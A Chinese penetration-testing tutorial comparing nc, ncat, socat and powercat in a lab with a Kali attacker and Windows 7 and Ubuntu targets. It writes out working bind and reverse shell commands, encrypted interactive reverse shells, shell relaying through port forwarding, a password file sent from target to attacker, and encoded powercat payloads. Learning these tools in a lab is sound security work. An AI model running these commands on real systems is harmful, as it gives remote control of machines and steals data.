来自 | 黑白之道
原创投稿作者:Nicolus
渗透测试过程中会用到一些系统shell工具,有几只长得很像,分别是netcat(nc), nmap-cat(ncat), socat, powercat. 都是跟“猫”相关的,这几只“猫”上得了庭堂,下得了厨房,不对,是上可卖萌,下可贩贱,最近汇总了下这几只“猫”的用法,分享如下。
环境信息:
攻击机:KALI 192.168.56.102
目标机:Win7 192.168.56.101
ubuntu 192.168.56.103
1.netcat
字nc,号瑞士军刀,简洁而不简单,擅长以最简单的招式破解最牢固的系统。这只“猫”最常见,大家都很熟悉了。执行nc -h 可以查看帮助信息。
最常用用法:
(1)socket连接:
作为客户端连接一个主机:nc -nv 192.168.56.101 8888。
作为服务端提供一个连接:nc -nvlp 8888。
【非交互式shell,此时可以直接聊“骚”】
(2)传输文件:
传输方:
nc -nv 192.168.56.101 8888
< /usr/share/windows-resources/powercat/powercat.ps1
(apt-get install powercat,之所以传这个,因为后面要用到)
接收方:
nc -nvlp 8888 > d:powercat.ps1
(3)扫描
TCP扫描:
nc -nv -z -w 1 192.168.56.101 3388-3390 。(看上面的帮助信息,-z是用于扫描的,-w用于设置超时时间)
UDP扫描:
默认是TCP扫描,在上述命令上增加一个-u 参数即可使用UDP扫描:
nc -nv -z -w 1 -u 192.168.56.101 53 161 162
(4)创建shell
bind shell: 正向连接(攻击机去主动连接)
目标机执行 nc -nvlp 192.168.56.101 4444 -e cmd.exe
攻击机执行 nc -nv 192.168.56.101 4444 得到一个cmd.
reverse shell: 反向连接(攻击机等着被连接)
攻击机执行:nc -nvlp 4444
目标机执行:nc -nv 192.168.56.102 4444 -e cmd.exe
(5)-c与-L
KALI版本的nc比win7版本的多一个-c,可以直接发命令,而不是像-e一样是一个shell文件,win7版本的多一个-L,可以一直监听,而-l会在连接中断后不再监听。(KALI版本是有一个-k选项的,但是并没有起作用,这个参数在下一部分中的ncat中被优化)。
【TIPS:这时KALI变为向win7传送数据了,攻防目标转换,在目标机为Linux时可使用】
(6)其他功能
nc还可以发掘很多其他功能,在LINUX之间可以利用tar传输目录、传输视频流、甚至克隆设备等,有需要的可以找找网上的资料或参考下面的nmap-cat。
2. nmap-cat(ncat)
字ncat,号“21世纪的netcat”,这是nmap项目对原始的netcat(nc)进行的优化改进,但是并不共享源代码,增加了一些新功能,调整了一些参数。
官方cookbook地址:
https://nmap.org/ncat/guide/index.html
安装:apt-get install ncat (Windows版本的直接带了,在nmap的安装目录下)
【装完发现“20世纪的nc”执行程序被替换成了“21世纪的ncat”,如果想再使用老版本的nc,可以执行/bin/nc.traditional,但是后面我们仍然执行ncat,以区分nc】
ncat可以实现上述nc的所有功能,相同部分的用法完全相同,这里再拓展一下用法(有nc也支持的,也有新的,通过ncat -h查看)。
(1)搭建简易http server
客户端用浏览器访问这个文件即可(每客户端可访问一次,因为本质上还是监听端口与连接端口)。
(2)聊天室模式(--chat)
(3)文件传输
仍以powercat.ps1为例
接收方win7:
ncat.exe -l > powercat.ps1
【TIPS】 -l 监听模式如果不跟端口号,则默认使用31337
发送方KALI:ncat --send-only 192.168.56.101 < powercat.ps1
有两个参数--send-only和--receive-only,就是不管对方是否接收和发送了数据,我只发送和接收,不管对方是否接收或发送成功。
反过来,类似于反弹shell 的发送方监听:
发送方KALI:
ncat -l --send-only < powercat.ps1
接收方Win7:
ncat 192.168.56.102 > powercat.ps1
【TIPS】不管你让谁连谁,都得是监听方先启动。一般反弹形式的比较常见,因为一般安全设备会对入向流量拦截,但是出向流量不太好拦截。
利用管道传输多个文件:
接收方ubuntu: ncat -l | tar xzv
发送方KALI:
tar czv| ncat --send-only 192.168.56.103
发送一个磁盘镜像(前提是处于卸载或只读挂载模式):
接收方ubuntu:
ncat -l | bzip2 -d > KALI-hda.image
发送方KALI:
cat /dev/hda | bzip2 | ncat --send-only 192.168.56.103
反向传输同上。
(4)代理模式--broker
如果win7只能访问ubuntu,但是不能访问KALI,而ubuntu可以访问两个,该怎样让KALI给win7传输文件呢?
ubuntu: ncat -l --broker
win7: ncat.exe ubuntu > powercat.ps1
KALI:
ncat --send-only ubuntu < powercat.ps1
【TIPS】broker服务器不缓存两个机器的之间的流量。broker也不会手动断开连接(对比于两个机器直传时,是传输结束两边的连接就直接拆除了),传输结束后需要win7手动断开链接。
(5)加密流量
很简单,在连接或传输文件时加上--ssl参数即可,以传输文件的命令为例:
接收方win7:
ncat.exe -l --ssl > powercat.ps1
发送方KALI:
ncat --send-only 192.168.56.101 --ssl < powercat.ps1
【TIPS】默认是用一个1024位的RSA 密钥自动生成证书。
3. socat
socat,意思是之前的cat,just so so(开玩笑),但是看人家的描述是带两个加号滴!
KALI自带,其他系统下载链接:
http://www.dest-unreach.org/socat/download/socat-1.7.3.4.tar.gz
tar zxvf socat-1.7.3.4.tar.gz
cd socat-1.7.3.4
./configure
make && sudo make install
(1)socket客户端与server
Server端:socat TCP4-LISTEN:8888 -
客户端:socat - TCP4:<server’s IP>:8888
【TIPS】“-”前后都有空格,表示标准输入输出
(2)文件传输
这次传递seclists中的一个密码文件到目标机ubuntu上。
正向传输:
ubuntu监听:
remnux@remnux:~/socat-1.7.3.4$sudo socat TCP4-LISTEN:8888 - >> 1.txt
【TIPS】“-”前后都有空格,表示标准输入输出
KALI发送:
root@kali:#
socat
TCP4:192.168.56.103:8888 file:darkweb2017-top100.txt
类似ncat,也做一个反向传输:
KALI监听:
socat
TCP4-LISTEN:8888,fork file:darkweb2017-top100.txt
ubuntu获取:
socat
TCP4:192.168.56.102:8888 file:received_password.txt,create
参数解释:服务端的fork,是创建一个子进程,允许多个连接,跟nc中的-k类似;接收方的file后跟个create表示如果没有则创建。
(命令比nc和ncat复杂多了吧?但其实也有规律,如果是客户端就是TCP4:IP:PORT file:xxx 如果是server端就是TCP4-LISTEN:PORT file:xxxx)
(3)创建shell
正向shell:
ubuntu监听:
socat TCP4-LISTEN:8888 EXEC:/bin/bash
KALI连接:
socat TCP4:192.168.56.103:8888 -
反向shell:
KALI监听:socat -dd TCP4-LISTEN:8888 -
【TIPS】由socat -h 得知-d是查看verbosity信息的意思,可以使用1到4个d,越多越详细,建议是使用两个。
ubuntu连接:
socat
TCP4:192.168.56.102:8888 EXEC:/bin/bash
效果如下:
(4)交互式反弹shell
上述shell都是非交互式的,以下命令可以帮助在KALI上生成一个交互式的shell.
KALI:
socat
TCP4-LISTEN:8888 file:`tty`,raw,echo=0
ubuntu:
socat
TCP4:192.168.56.102:8888
EXEC:'bash -i',pty,stderr,setsid,sigint,sane
(5)加密反弹shell
利用openssl生成证书和秘钥文件:
openssl req -newkey rsa:2048 -nodes -keyout test.key -x509 -days 100 -out test.crt
合并为一个pem文件:cat test.key test.crt > test.pem
KALI监听:
socat
OPENSSL-LISTEN:8888,cert=test.pem,verify=0,fork file:`tty`,raw,echo=0
ubuntu连接:
socat
OPENSSL:192.168.56.102:8888,verify=0 EXEC:'bash -i',pty,stderr,setsid,sigint,sane
(6)端口转发
KALI监听:socat TCP-LISTEN:8888,fork -
ubuntu转发:
socat
TCP-LISTEN:8888,fork TCP:192.168.56.102:8888
Win7连接ubuntu:
ncat.exe -nv 192.168.56.103 8888 -e cmd.exe
此时KALI 即获取到win7的shell.
4. powercat
powercat即powershell cat,故名思义,是运行在powershell环境上的,我们测试环境以管理员身份运行Powershell。
在测试win7的powershell上执行Set-ExecutionPolicy Unrestricted 选择Y设置为不限制执行。前面已经通过nc和ncat将该文件传输过去了,也可以通过
https://github.com/besimorhino/powercat下载。后进入powercat的下载目录执行Import-Module powercat.ps1,这样后面可以直接使用powercat这个命令。
执行powercat -h,有两个必选参数,-c是做为客户端,-l 是监听作为服务端。按上面的主要功能再测试下:
(1)创建Shell
Bind Shell:
Win7执行:
powercat -l -p 8888 -e cmd.exe
KALI执行:ncat -nv 192.168.56.101 8888
Reverse Shell:
KALI执行监听:ncat -nvlp 8888
Win7执行:powercat -c 192.168.56.102 -p 8888 -e cmd.exe
【是不是已经驾轻就熟了,因为几乎跟上面参数一样啊,就是换换命令】
(2)文件传输
上传一个文件到攻击机KALI:
KALI执行:
ncat -nvlp 8888 > win7password.txt
Win7执行:
powercat -c 192.168.56.102 -p 8888 -i C:win7password.txt
反过来,KALI上传到Win7:
Win7执行:powercat -l -p 8888 -of C:bt.txt
KALI执行:ncat -nv 192.168.56.101 8888 < bt4-password.txt
(3)端口转发
powercat -l -p 8888 -r tcp:192.168.56.102:9999
(4)拥有一个交互式powershell
powercat -l 8888 -ep -rep
-ep:让连接上来的客户端获取一个伪终端
-rep:保持连接,客户端断开的时候链接保持,可以下一次继续连接。
【TIPS】这里有个小坑,KALI连接上这个伪终端后,退出时直接ctrl C退出,不要执行exit,如果执行exit的话会连WIN7的powershell一起退出,连接无法保持。
(5)本地生成payload
-g,生成一个payload,-ge 生成一个Base64编码的payload
KALI监听起来:ncat -nvlp 8888
生成本地payload,powercat -c 192.168.56.102 8888 -e cmd.exe -g > reverse.ps1
执行.reverse.ps1
这时KALI获取到反弹shell. 这个reverse.ps1大概有17KB大小,可以用记事本打开修改其内容调整连接参数。
再用-ge试下powercat -c 192.168.56.102 8888 -e cmd.exe -ge > reverse.ps1
这时会生成一个约46KB的Base64编码的payload.当然无法直接执行这个ps1.
看powercat -h中的ge参数解释,如果要执行,需要用命令powershell -E 跟上编码过的代码,但是你会发现这个代码量太大了,直接在powershell里根本粘贴不全,可以在ISE中粘贴执行。
5.小结
几只“猫”的主要功能介绍完了,说下老王的想法,最好用的是ncat,功能多而且相对于socat命令语法简单一些,但是socat的某些功能是ncat不能代替的,如交互式终端。powercat也很好用,但前提需要你先把文件下载过去。